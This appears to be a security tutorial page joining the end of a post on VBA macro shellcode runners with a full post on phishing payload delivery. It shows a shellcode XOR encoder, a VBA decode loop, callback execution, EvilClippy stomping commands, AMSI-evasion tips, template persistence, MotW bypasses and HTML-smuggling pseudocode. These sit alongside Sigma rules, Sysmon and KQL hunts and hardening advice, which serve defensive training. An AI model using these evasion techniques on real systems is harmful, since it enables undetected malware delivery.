A gotcha that cost me a solid hour: the string "AmsiScanBuffer" itself triggers AMSI. You can split it at runtime – "Amsi" & "Scan" & "Buffer" – or build it from Chr() calls. The irony of AMSI detecting its own bypass string is almost funny until it blocks your lab work.

7. Evasion Techniques
XOR-Encoded Shellcode
Static signatures match raw shellcode byte patterns. XOR the array with a single-byte key before embedding it:
# xor_encode.py — run on Kali
import sys
key = 0xAA
with open(sys.argv[1], "rb") as f:
raw = bytearray(f.read())
encoded = [b ^ key for b in raw]
print("buf = Array(" + ",".join(str(b) for b in encoded) + ")")
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
python3 xor_encode.py calc.bin
The VBA decode loop XORs each byte back before copying:
Dim key As Byte: key = &HAA
For counter = LBound(buf) To UBound(buf)
data = buf(counter) Xor key
RtlMoveMemory addr + counter, data, 1
Next counter
Callback-Based Execution
CreateThread is the most-flagged execution primitive. Several Win32 functions accept callback pointers – point them at your shellcode instead:
Private Declare PtrSafe Function HeapAlloc Lib "kernel32" _
(ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
ByVal dwBytes As Long) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
Private Declare PtrSafe Function EnumSystemLocalesA Lib "kernel32" _
(ByVal lpLocaleEnumProc As LongPtr, ByVal dwFlags As Long) As Long
Allocate with HeapAlloc (avoids VirtualAlloc), copy shellcode in, then:
EnumSystemLocalesA addr, 0
EnumSystemLocalesA treats addr as a callback function pointer and calls it. Other callback primitives: FlsAlloc, the Lazarus Group’s UuidFromStringA technique (which copies UUID-encoded shellcode to RWX memory), and DispCallFunc from OleAut32.dll for indirect API invocation. Each one dodges a different set of behavioral signatures.
8. VBA Stomping with EvilClippy
VBA stomping removes the source code from the module streams while preserving the compiled p-code in _VBA_PROJECT. If the victim’s Office version matches the version stamp in the p-code, Office executes the p-code directly and never notices the source is gone – or replaced with something benign.
git clone https://github.com/outflanknl/EvilClippy
cd EvilClippy && dotnet build
# Stomp: replace visible source with benign code
echo 'Sub Document_Open()' > fake.vba
echo ' MsgBox "Hello"' >> fake.vba
echo 'End Sub' >> fake.vba
mono EvilClippy.exe -s fake.vba lab_macro.docm
Verify with olevba – it will report the benign source but flag a p-code/source mismatch. That mismatch is exactly what defenders should hunt for with YARA rules at the email gateway.

9. Persistence via Office Templates
For longer-term access, inject macros into the global template. Every Word document loads Normal.dotm on open:
- Word:
%APPDATA%\Microsoft\Templates\Normal.dotm - Excel:
%APPDATA%\Microsoft\Excel\XLSTART\PERSONAL.XLSB
Alternatively, hijack the GlobalDotName registry key to redirect Word’s template load path to your controlled .dotm, or use remote template injection – the document’s Settings.xml.rels references a .dotm at a UNC or HTTP path, fetched on open. The document itself contains no macros, evading static analysis. The macro payload lives on your infrastructure.
10. Detection, Hunting, and Hardening
Sysmon Events
| Event ID | Hunt For |
|---|---|
1 | WINWORD.EXE or EXCEL.EXE spawning cmd.exe, powershell.exe, mshta.exe |
7 | Office processes loading VBE7.DLL, VBE7INTL.DLL (macro engine), amsi.dll |
8 | Office process creating remote threads (post-exploitation injection) |
10 | Office process opening handles to lsass.exe |
11 | Office dropping files to %TEMP%, %APPDATA%, Startup folders |
12/13 | Writes to VBAWarnings, TrustRecords registry keys |
Sigma Rules
title: Office Application Spawning Shell Process
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
ParentImage|endswith:
- '\WINWORD.EXE'
- '\EXCEL.EXE'
- '\POWERPNT.EXE'
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\wscript.exe'
- '\mshta.exe'
condition: selection
level: high
title: VBA Macro Engine DLL Loaded by Office
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 7
Image|endswith:
- '\WINWORD.EXE'
- '\EXCEL.EXE'
ImageLoaded|contains: 'VBE7.DLL'
condition: selection
level: medium
Hardening
- ASR Rule
D4F940AB-401B-4EFC-AADC-AD5F3C50688A– Block Office apps from creating child processes. This single rule kills the entire macro-to-shell chain. - ASR Rule
75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84– Block Office apps from injecting code into other processes. - Group Policy: Block macros from running in Office files from the Internet (the 2022 MotW-based macro block).
VBAWarnings=4via GPO – disables all macros without notification.- Require signed macros (
VBAWarnings=3) – only digitally signed macros execute. - Scan
.docm,.xlsm,.dotmat the email gateway witholevbaand YARA rules forDeclare,VirtualAlloc,CreateThread, and p-code/source mismatches.
11. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Spearphishing Attachment | T1566.001 | Email gateway, Sysmon Event 11 |
| User Execution: Malicious File | T1204.002 | Sysmon Event 1 (Office spawning child) |
| Command and Scripting Interpreter: Visual Basic | T1059.005 | Sysmon Event 7 (VBE7.DLL load), AMSI ETW |
| Native API | T1106 | ETW Microsoft-Windows-Threat-Intelligence (RWX alloc) |
| Obfuscated Files or Information | T1027 | Static analysis, YARA, olevba keyword scan |
| VBA Stomping | T1564.007 | olevba p-code/source mismatch detection |
| Office Template Macros | T1137.001 | Sysmon Event 11 (Normal.dotm modification), registry monitoring |
| Template Injection | T1221 | Network monitoring for .dotm fetches on document open |
| Modify Registry | T1112 | Sysmon Event 13 (VBAWarnings writes) |
12. Tools
| Tool | Purpose | Link |
|---|---|---|
olevba (oletools) | Extract & analyze VBA from OLE documents | github.com/decalage2/oletools |
oledump.py | Low-level OLE stream inspection | blog.didierstevens.com |
| EvilClippy | VBA stomping – replace source, preserve p-code | github.com/outflanknl/EvilClippy |
msfvenom | Shellcode generation (vbapplication format) | metasploit.com |
| Process Hacker | Inspect loaded DLLs, memory regions in Office process | processhacker.sourceforge.io |
| x64dbg | Debug Office process, verify shellcode execution | x64dbg.com |
| Sysmon | Endpoint telemetry (Events 1, 7, 8, 10, 11, 13) | learn.microsoft.com |
Summary
- The three-API pattern –
VirtualAlloc→RtlMoveMemory→CreateThread– is the foundation of every VBA shellcode runner, and understanding it end-to-end is prerequisite to both building and detecting macro payloads. - Auto-trigger subs (
Document_Open,AutoOpen) execute on “Enable Content” with zero further interaction; pair both in every payload for compatibility. - AMSI integration in Office 2019+ catches raw payloads; the in-process
AmsiScanBufferpatch bypasses it, but theAliaskeyword and string-splitting are needed to avoid AMSI flagging the bypass itself. - Callback-based execution (
EnumSystemLocalesA,FlsAlloc,UuidFromStringA) and VBA stomping raise the evasion bar – detect them with ETW telemetry, olevba p-code analysis, and behavioral rules rather than static signatures. - ASR rule
D4F940AB(block Office child processes) kills the entire chain. Deploy it. Scan inbound documents at the gateway witholevbaand YARA. Hunt Sysmon Event 7 forVBE7.DLLloads and Event 1 for Office-spawned shells.
Related Tutorials
- Shellcode Encoders: XOR Encoding, Custom Decoders, and Avoiding Bad Chars
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Position-Independent Code: Writing PIC Shellcode Without Hardcoded Addresses
- Writing x64 Shellcode: Differences, Shadow Space, and Register Conventions
References
Payload Delivery via Email: Attachments, Links, and Bypassing Filters
Objective: Trace the full email delivery chain an authorized red team emulates – attachment, link, and filter-bypass tradecraft mapped to MITRE ATT&CK T1566 – and learn the Sysmon, ETW, and header-forensics signals that let a blue team catch each stage.
The gateway scanned the message. SPF passed, DKIM passed, the attachment was a clean .iso, and the body link pointed at a Google Docs URL nobody had ever flagged. Forty seconds after the user double-clicked, a powershell.exe process with OUTLOOK.EXE somewhere up its parent chain reached out to a freshly-aged domain. Everything technically worked as designed. That gap – between “the mail filter saw nothing wrong” and “the endpoint is now executing attacker code” – is the entire subject of this post.
Email is still the number-one initial access vector, and the reason is structural: the security boundary lives at the gateway, but execution happens on the endpoint, and a lot of clever tradecraft exists purely to widen the distance between those two points. We’ll walk the chain a red teamer assembles, then pair every step with how a defender sees it.
This is engagement material. Phishing simulations require written authorization, a defined scope, and rules of engagement – credential-harvesting pages and payload staging against real users are not something you improvise. Treat everything below as “how it works so you can detect it or test with permission.”
1. How Mail Actually Gets Inspected
Before you can bypass a filter you have to know what it reads. A message traverses SMTP relays, gets routed by the recipient’s MX record into a Secure Email Gateway (SEG) or a cloud-native filter – Microsoft Defender for Office 365, Google Workspace – and only then lands in a mailbox. Three authentication checks dominate that inspection:
| Protocol | DNS Record | What It Proves |
|---|---|---|
| SPF | TXT | The sending IP is authorized for the envelope domain |
| DKIM | TXT (selector) | Headers/body were signed by the domain’s private key (DKIM-Signature: d= domain, s= selector, bh=, b=) |
| DMARC | _dmarc. TXT | Alignment policy (p=none/quarantine/reject) plus rua= aggregate reporting |
Here’s a point worth committing to: DMARC p=reject is sold as the cure, and it does kill naive spoofing. The phish it does nothing against is the one sent from a real, compromised business account. That mail passes SPF and DKIM because it genuinely is the sender. No protocol bypass required – the trust is authentic. Keep that asymmetry in mind; it shapes the rest of the tradecraft.
A defender’s first move on a suspicious message is to parse the headers. Python’s email module does it in a few lines:
from email import policy
from email.parser import BytesParser
with open("sample.eml", "rb") as fh:
msg = BytesParser(policy=policy.default).parse(fh)
# spf= / dkim= / dmarc= verdicts the receiving MTA stamped on the mail
for line in msg.get_all("Authentication-Results", []):
print(line)
print("From: ", msg["From"])
print("Return-Path: ", msg["Return-Path"]) # envelope vs. display mismatch?
for rec in msg.get_all("Received", []):
print("Received:", rec.strip()[:120]) # walk the relay chain bottom-up
Watch for a From: display name that disagrees with Return-Path, a Received chain that originates somewhere implausible, and X-MS-Exchange-Organization-SCL spam-confidence values. Cross-reference embedded URLs and the originating domain against WHOIS for recent registration.

2. Spearphishing Attachments (T1566.001)
Attachment delivery relies on User Execution (T1204.002) – the file is inert until someone opens it. For years the workhorse was a macro-laden Word or Excel document. Then Microsoft began blocking VBA macros in files marked with the Mark of the Web by default in 2022, and the entire ecosystem pivoted.
What replaced macros:
| Technique | Description |
|---|---|
Container files (.iso, .img, .vhd, .vhdx) | Mount on double-click, present a .lnk disguised as a document; inner files often escape MotW |
| LNK chains | Shortcut launches a hidden powershell.exe, wscript.exe, or mshta.exe command line |
| OneNote embeds | An embedded “View Document” button runs an attached VBScript when clicked |
| Extension masquerade | invoice.pdf.lnk, double extensions, RLO Unicode tricks in the display name |
| Remote template injection (T1221) | A benign .docx pulls a weaponized .dotm from an attacker URL after open |
The observed kill chain is consistent across families: the lure file launches a LOLBin, and the LOLBin does the real work. winword.exe spawning rundll32.exe to load a dropped ier.dll. mshta.exe fetching a remote HTA. powershell.exe staging a second-stage implant. The parent-child relationship is the tell, and it’s also the detection seam we’ll exploit in §6.
A war story to make this concrete: on one engagement our .iso lure cleared the gateway perfectly, the user mounted it, clicked the LNK – and nothing happened. We’d spent a day perfecting the MotW evasion and forgotten the host had the ASR rule Block Office applications from creating child processes enabled. The payload was fine. The execution primitive was dead. MotW is not the only wall.

3. Mark of the Web – the Control Everything Fights
When a file arrives from the Internet, Windows tags it with a hidden NTFS Alternate Data Stream named Zone.Identifier carrying a ZoneId. ZoneId=3 is the Internet zone. That tag is the MotW, and it’s the linchpin for downstream protections: Office files with MotW open in Protected View, and tagged executables get routed through Windows Defender SmartScreen, which checks them against an allowlist of known-good binaries and warns on anything unrecognized.
The propagation machinery lives in a few documented APIs:
| API / Interface | Purpose |
|---|---|
IAttachmentExecute | Interface browsers and mail clients use to apply MotW to downloads automatically |
AssocIsDangerous | Returns true for high-risk extensions, triggering the SmartScreen prompt |
AssocGetUrlAction | The wrapper AssocIsDangerous calls; holds the hardcoded high-risk extension list |
Defenders should be able to confirm whether a file carries the tag. PowerShell reads the stream directly:
# A downloaded container DOES carry the tag:
Get-Content -Path .\invoice.iso -Stream Zone.Identifier
# [ZoneTransfer]
# ZoneId=3
# But a file extracted FROM that container frequently does NOT — list its streams:
Get-Item -Path D:\document.lnk -Stream * | Select-Object Stream, Length
The Container Bypass (T1553.005)
Here’s the design flaw. MotW is an NTFS feature. Many container formats don’t support NTFS alternate data streams, so while the downloaded .iso or .vhd itself gets tagged, the files inside it don’t inherit the tag once extracted or mounted. They’re treated as local files – no Protected View, no SmartScreen. This is precisely why .iso/.img/.vhd/.vhdx became the post-macro delivery vehicle of choice. The Kaspersky-documented BlueNoroff intrusions leaned on exactly this.
CVE-2025-0411 extends the same idea to 7-Zip: versions before 24.09 fail to propagate MotW to double-compressed files, letting an inner payload execute without a warning.
LNK Stomping (CVE-2024-38217)
LNK stomping abuses how the shell canonicalizes shortcut files. Craft a .lnk with a non-standard target path or malformed internal structure, and Windows “fixes” it on access – rewriting the file and discarding the MotW metadata in the process. No tag, no SmartScreen prompt. Microsoft patched it on September 10, 2024, and CISA added it to the Known Exploited Vulnerabilities catalog, confirming in-the-wild use.
The component under attack is the LinkTarget IDList – the series of Shell Item IDs describing where the target lives in the shell namespace. Elastic Security Labs and ASEC documented three variants:
| Variant | Manipulation |
|---|---|
| PathSegment | Entire file path stuffed into a single IDList array element |
| Dot | Trailing periods or spaces appended to the target path |
| Relative | Bare filename with no complete path specification |
This is the structural layout an analyst should recognize – not a stomped artefact:
import struct
# ShellLinkHeader (partial) per MS-SHLLINK — EDUCATIONAL layout only.
header = struct.pack(
"<I16sI",
0x0000004C, # HeaderSize (fixed)
bytes.fromhex("0114020000000000c000000000000046"), # LinkCLSID
0x00000001 | 0x00000004, # HasLinkTargetIDList | HasName
)
# Immediately after the header: the LinkTarget IDList (a sequence of ItemIDs).
# Stomping mutates these ItemIDs so the shell re-canonicalizes — and drops MotW.
4. Spearphishing Links (T1566.002) and AiTM
Linking instead of attaching is a deliberate evasion: the gateway inspects a URL, not a file, so there’s nothing binary to detonate at delivery time. The execution still needs the user – User Execution: Malicious Link (T1204.001).
The craft is all about legitimacy laundering. Point the in-body link at a trusted SaaS surface – a Google Docs share, a OneDrive link, an open redirect on a reputable domain – so the SEG scans a benign destination and the malicious hop happens later. URL redirector abuse defeats time-of-delivery reputation entirely.
The high-end variant is Adversary-in-the-Middle (T1557) phishing. Instead of a static fake login page, a reverse-proxy kit relays the victim’s session to the real identity provider in real time, harvesting credentials and the post-MFA session cookie. It maps to Phishing for Information: Spearphishing Link (T1598.003) when the goal is credential collection. Tooling like Evilginx2 implements the concept; the defensive takeaway is that stolen session tokens make MFA-enforced accounts vulnerable, so conditional-access and token-binding controls matter more than the password prompt.
5. HTML Smuggling (T1027.006)
HTML smuggling moves payload assembly off the wire and into the browser. The email or its attached HTML carries no recognizable binary; instead, JavaScript reconstructs the file client-side and hands it to the browser’s download mechanism. The gateway scans markup and sees nothing actionable.
The conceptual pattern – Blob → URL.createObjectURL() → anchor .click() – looks like this. It is annotated pseudocode to show defenders the seam, not a working payload:
// CONCEPTUAL ONLY — not production code, no real payload.
const bytes = decodeEmbeddedData(); // assembled in-browser from inline data
const blob = new Blob([bytes], // (1) file built entirely client-side
{ type: "application/octet-stream" });
const url = URL.createObjectURL(blob); // (2) local blob: URL — no network fetch
const a = document.createElement("a");
a.href = url; a.download = "report.iso"; // (3) browser writes to Downloads
a.click(); // file gets MotW; the gateway saw markup
Legacy Edge/IE used msSaveOrOpenBlob for the same end. The crucial point for detection: the gateway never observes a suspicious file, but the endpoint does – the assembled file lands in Downloads and receives a Zone.Identifier tag. Your visibility shifts entirely to the host. QakBot and related loaders made this a commodity technique.
6. QR Phishing, Infrastructure, and the Simulated Campaign
Quishing embeds the malicious URL in a QR code, pushing the victim onto a mobile device where corporate EDR and URL rewriting rarely reach. An image-embedded QR also defeats text-based URL scanning outright – there’s no clickable string in the body to inspect.
On the infrastructure side, a credible operation invests before a single mail goes out:
| Technique | Abuse Scenario |
|---|---|
| Domain aging | Sit on a registered domain so reputation engines stop flagging it as newly created |
| Homoglyph / typosquatting | Unicode lookalikes in the From: display name |
| Attacker-controlled DKIM | Sign mail from owned domains so it passes authentication checks |
| Compromised legitimate accounts | Send from a real mailbox – passes SPF/DKIM by definition, the hardest case to catch |
A sanctioned phishing simulation ties these together conceptually with GoPhish: profile targets, build a lure and a tracked landing page, stage the payload, and measure click/submit rates – all against consenting users inside scope, with no weaponized artefacts left behind. The value to the org is the same data a real campaign would yield, captured safely.
7. Defensive Strategies and Detection
Delivery is hard to block at the gateway by design, so detection concentrates on the endpoint after the lure fires. Sysmon gives you the chain:
| Event ID | Name | Phishing Relevance |
|---|---|---|
1 | Process Create | Email-client children – watch ParentImage, CommandLine, User |
3 | Network Connection | Outbound from attachment-spawned processes – DestinationIp, Image |
11 | File Create | Dropped lure/next-stage files in mail temp paths – TargetFilename |
15 | FileCreateStreamHash | ADS creation, including Zone.Identifier – your MotW-presence signal |
22 | DNS Query | Lookups from post-phish processes – QueryName, Image |
Layer ETW on top: Microsoft-Windows-PowerShell/Operational Event ID 4104 (Script Block Logging) captures deobfuscated PowerShell; the AMSI provider scans script content pre-execution; Microsoft-Office-Alerts records macro-blocked events. Enable command-line process auditing (Event ID 4688 with IncludeCmdLine) and object-access auditing on the Outlook temp folder under Content.Outlook\.
The highest-value rule keys on the parent-child seam – an Office app or Outlook spawning an interpreter:
title: Office or Outlook Spawning Script Interpreter
status: experimental
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1
ParentImage|endswith:
- '\OUTLOOK.EXE'
- '\WINWORD.EXE'
- '\EXCEL.EXE'
Image|endswith:
- '\powershell.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\cmd.exe'
- '\rundll32.exe'
condition: selection
level: high
Watch for the absence of a Zone.Identifier on files that should have one – that’s the container-bypass signature. A focused Sysmon config surfaces both the stream and the mail temp path:
<Sysmon schemaversion="4.90">
<EventFiltering>
<RuleGroup name="MotW-staging" groupRelation="or">
<!-- Event 15 captures ADS creation, including Zone.Identifier -->
<FileCreateStreamHash onmatch="include">
<TargetFilename condition="end with">:Zone.Identifier</TargetFilename>
</FileCreateStreamHash>
<!-- Event 11 watches files dropped into the Outlook cache -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">\Content.Outlook\</TargetFilename>
</FileCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
Correlation closes the loop – process spawn followed by an outbound connection inside a tight window:
DeviceProcessEvents
| where InitiatingProcessFileName =~ "outlook.exe"
| project ProcTime = TimeGenerated, DeviceId, ChildProc = FileName, CommandLine
| join kind=inner (
DeviceNetworkEvents
| project NetTime = TimeGenerated, DeviceId, RemoteIP, RemoteUrl
) on DeviceId
| where NetTime between (ProcTime .. ProcTime + 60s)
| project ProcTime, NetTime, DeviceId, ChildProc, CommandLine, RemoteUrl, RemoteIP
Hardening
Defenders should verify the macro policy is actually enforced, not assumed:
$base = "HKCU:\SOFTWARE\Policies\Microsoft\Office\16.0"
foreach ($app in "Word","Excel","PowerPoint","Outlook") {
$key = Join-Path $base "$app\Security"
$val = (Get-ItemProperty -Path $key -Name VBAWarnings -ErrorAction SilentlyContinue).VBAWarnings
"{0,-11} VBAWarnings = {1}" -f $app, ($val ?? "NOT SET") # 4 = disable all macros
}
| Mitigation | Description |
|---|---|
Macro policy VBAWarnings = 4 | Disable all macros without notification across Office apps via GPO |
| ASR child-process block | GUID d4f940ab-401b-4efc-aadc-ad5f3c50688a stops Office spawning interpreters |
| ASR obfuscated-script block | GUID 5beb7efe-fd9a-4556-801d-275e5ffc04cc |
| Disable image auto-mount | Remove the shell mount handler for .iso/.img/.vhd; restrict .lnk from temp/Downloads via AppLocker/WDAC |
| Safe Links / Safe Attachments | Time-of-click URL detonation and attachment sandboxing in Defender for O365 |
DMARC p=reject | Reject unauthenticated mail claiming your domain |
| Patch 7-Zip ≥ 24.09 | Closes CVE-2025-0411 double-compression MotW bypass |
Tools
| Tool | Description | Link |
|---|---|---|
| GoPhish | Authorized open-source phishing-simulation framework | getgophish.com |
| oletools | Macro/VBA extraction and analysis from Office docs | github.com |
| pylnk3 | Parse and inspect .lnk structure (LinkTarget IDList) | github.com |
| Sysmon | Process, network, file-stream telemetry | learn.microsoft.com |
| ANY.RUN | Interactive sandbox for attachment detonation | any.run |
| Joe Sandbox | Automated behavioral attachment analysis | joesandbox.com |
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Phishing | T1566 | Header forensics; SEG/cloud filter telemetry |
| Spearphishing Attachment | T1566.001 | Sysmon 1 parent-child; 15 MotW stream |
| Spearphishing Link | T1566.002 | Sysmon 22 DNS; Safe Links click logs |
| Spearphishing via Service | T1566.003 | Non-email channel monitoring |
| Mark-of-the-Web Bypass | T1553.005 | Missing Zone.Identifier on extracted files |
| User Execution: File / Link | T1204.002 / .001 | Process create from mail client |
| HTML Smuggling | T1027.006 | Endpoint Downloads + MotW; blob anomalies |
| Template Injection | T1221 | Outbound fetch from WINWORD.EXE |
| Phishing for Information | T1598.003 | Credential-page referrers |
| Adversary-in-the-Middle | T1557 | Anomalous session-token use, impossible travel |

Summary
- Email payload delivery (T1566) wins because the inspection boundary is the gateway, but execution is on the endpoint – every advanced technique just widens that gap.
- Attachments pivoted from macros to containers and LNKs after Microsoft’s 2022 macro block; the consistent kill chain is a lure spawning a LOLBin (
powershell.exe,mshta.exe,rundll32.exe). - The Mark of the Web is the control everything fights – container formats strip it from inner files (
T1553.005), andCVE-2024-38217LNK stomping plusCVE-2025-04117-Zip remove it outright. - HTML smuggling and quishing move payload assembly off the wire, so detection shifts almost entirely to host telemetry.
- Catch it with the parent-child seam – Sysmon Event ID
1(Office/Outlook → interpreter),15forZone.Identifierpresence,3/22for callbacks – and harden with ASR rules,VBAWarnings = 4, disabled image auto-mount, and DMARCp=reject.
Related Tutorials
- Egghunters: Staged Payload Delivery When Buffer Space Is Tight
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration